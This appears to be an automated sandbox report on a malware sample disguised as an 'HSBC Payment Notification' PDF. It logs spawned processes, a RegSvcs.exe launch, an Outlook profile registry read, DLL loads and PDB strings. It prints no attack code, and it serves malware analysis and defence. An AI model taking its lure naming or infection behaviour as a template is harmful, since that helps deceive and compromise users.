Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

ReversingLabs: Detection: 81%

Source: unknown	Process created: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe "C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe"
Source: unknown	Process created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe "C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe"
Source: unknown	Process created: C:\Windows\System32\alg.exe C:\Windows\System32\alg.exe
Source: unknown	Process created: C:\Windows\System32\AppVClient.exe C:\Windows\system32\AppVClient.exe
Source: unknown	Process created: C:\Windows\System32\FXSSVC.exe C:\Windows\system32\fxssvc.exe
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe"
Source: unknown	Process created: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
Source: unknown	Process created: C:\Windows\System32\msdtc.exe C:\Windows\System32\msdtc.exe
Source: unknown	Process created: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe C:\Windows\system32\PerceptionSimulation\PerceptionSimulationService.exe
Source: unknown	Process created: C:\Windows\SysWOW64\perfhost.exe C:\Windows\SysWow64\perfhost.exe
Source: unknown	Process created: C:\Windows\System32\Locator.exe C:\Windows\system32\locator.exe
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe"
Source: unknown	Process created: C:\Windows\System32\snmptrap.exe C:\Windows\System32\snmptrap.exe
Source: unknown	Process created: C:\Windows\System32\Spectrum.exe C:\Windows\system32\spectrum.exe
Source: unknown	Process created: C:\Windows\System32\OpenSSH\ssh-agent.exe C:\Windows\System32\OpenSSH\ssh-agent.exe
Source: unknown	Process created: C:\Windows\System32\TieringEngineService.exe C:\Windows\system32\TieringEngineService.exe
Source: unknown	Process created: C:\Windows\System32\AgentService.exe C:\Windows\system32\AgentService.exe
Source: unknown	Process created: C:\Windows\System32\vds.exe C:\Windows\System32\vds.exe
Source: unknown	Process created: C:\Windows\System32\wbengine.exe "C:\Windows\system32\wbengine.exe"
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe"	Jump to behavior

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: appvpolicy.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: appmanagementconfiguration.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: tapi32.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: credui.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: fxstiff.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: fxsresm.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: ualapi.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: msdtctm.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: msdtcprx.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: msdtclog.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: mtxclu.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: clusapi.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: xolehlp.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: resutils.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: comres.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: msdtcvsp1res.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: mtxoci.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: oci.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: hid.dll	Jump to behavior
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\perfhost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\perfhost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\perfhost.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\perfhost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\perfhost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\perfhost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\perfhost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\snmptrap.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: spectrumsyncclient.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: perceptionsimulationextensions.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: hid.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: holographicruntimes.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: perceptiondevice.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: spatialstore.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: esent.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: analogcommonproxystub.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: capabilityaccessmanagerclient.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: windows.devices.enumeration.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: structuredquery.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: windows.globalization.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: bcp47mrm.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: icu.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: mswb7.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: devdispitemprovider.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: libcrypto.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\TieringEngineService.exe	Section loaded: esent.dll
Source: C:\Windows\System32\TieringEngineService.exe	Section loaded: clusapi.dll
Source: C:\Windows\System32\TieringEngineService.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\TieringEngineService.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\TieringEngineService.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: fltlib.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: version.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: appmanagementconfiguration.dll
Source: C:\Windows\System32\vds.exe	Section loaded: atl.dll
Source: C:\Windows\System32\vds.exe	Section loaded: osuninst.dll
Source: C:\Windows\System32\vds.exe	Section loaded: vdsutil.dll
Source: C:\Windows\System32\vds.exe	Section loaded: bcd.dll
Source: C:\Windows\System32\vds.exe	Section loaded: uexfat.dll
Source: C:\Windows\System32\vds.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\vds.exe	Section loaded: ifsutil.dll
Source: C:\Windows\System32\vds.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\vds.exe	Section loaded: uudf.dll
Source: C:\Windows\System32\vds.exe	Section loaded: untfs.dll
Source: C:\Windows\System32\vds.exe	Section loaded: ufat.dll
Source: C:\Windows\System32\vds.exe	Section loaded: fmifs.dll
Source: C:\Windows\System32\vds.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: virtdisk.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: bcd.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: spp.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: netapi32.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: clusapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: wer.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: fltlib.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: fveapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: cscapi.dll

Source: C:\Windows\System32\AppVClient.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{52BC3999-6E52-4E8A-87C4-0A2A0CC359B1}\InProcServer32

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Drops executable to a common third party application directory

Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Static file information: File size 1587200 > 1048576

Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\work\p4\splinters\Splinters\S\BuildResults\bin\Win32\ReaderRelease\FullTrustNotifier\FullTrustNotifier.pdb77.GCTL source: armsvc.exe, 00000002.00000003.2525911259.0000000002180000.00000004.00001000.00020000.00000000.sdmp, FullTrustNotifier.exe.2.dr
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\armsvc.pdb source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000003.2086108472.0000000003ED0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\PkgInstaller\base\ntsetup\SrvPack.Main\tools\sfxcab\sfxcab\objfre\i386\sfxcab.pdb source: armsvc.exe, 00000002.00000003.2582334419.0000000002180000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2590265360.00000000020E0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2581292600.0000000002170000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcrobatInfo.pdb source: armsvc.exe, 00000002.00000003.2271603992.0000000002130000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ssh-agent.pdb source: armsvc.exe, 00000002.00000003.2175446283.0000000002200000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\TextExtractor.pdb444 source: armsvc.exe, 00000002.00000003.2386599960.0000000002180000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\TextExtractor.pdb source: armsvc.exe, 00000002.00000003.2386599960.0000000002180000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ADelRCP_Exec.pdb source: armsvc.exe, 00000002.00000003.2401899087.0000000002180000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationFontCache.pdb source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000003.2124835296.0000000004130000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2156732156.00000000021E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mavinject32.pdbGCTL source: armsvc.exe, 00000002.00000003.2633067846.0000000002180000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2628302766.00000000021A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: crashreporter.pdb source: armsvc.exe, 00000002.00000003.2752944909.00000000007C0000.00000004.00001000.00020000.00000000.sdmp
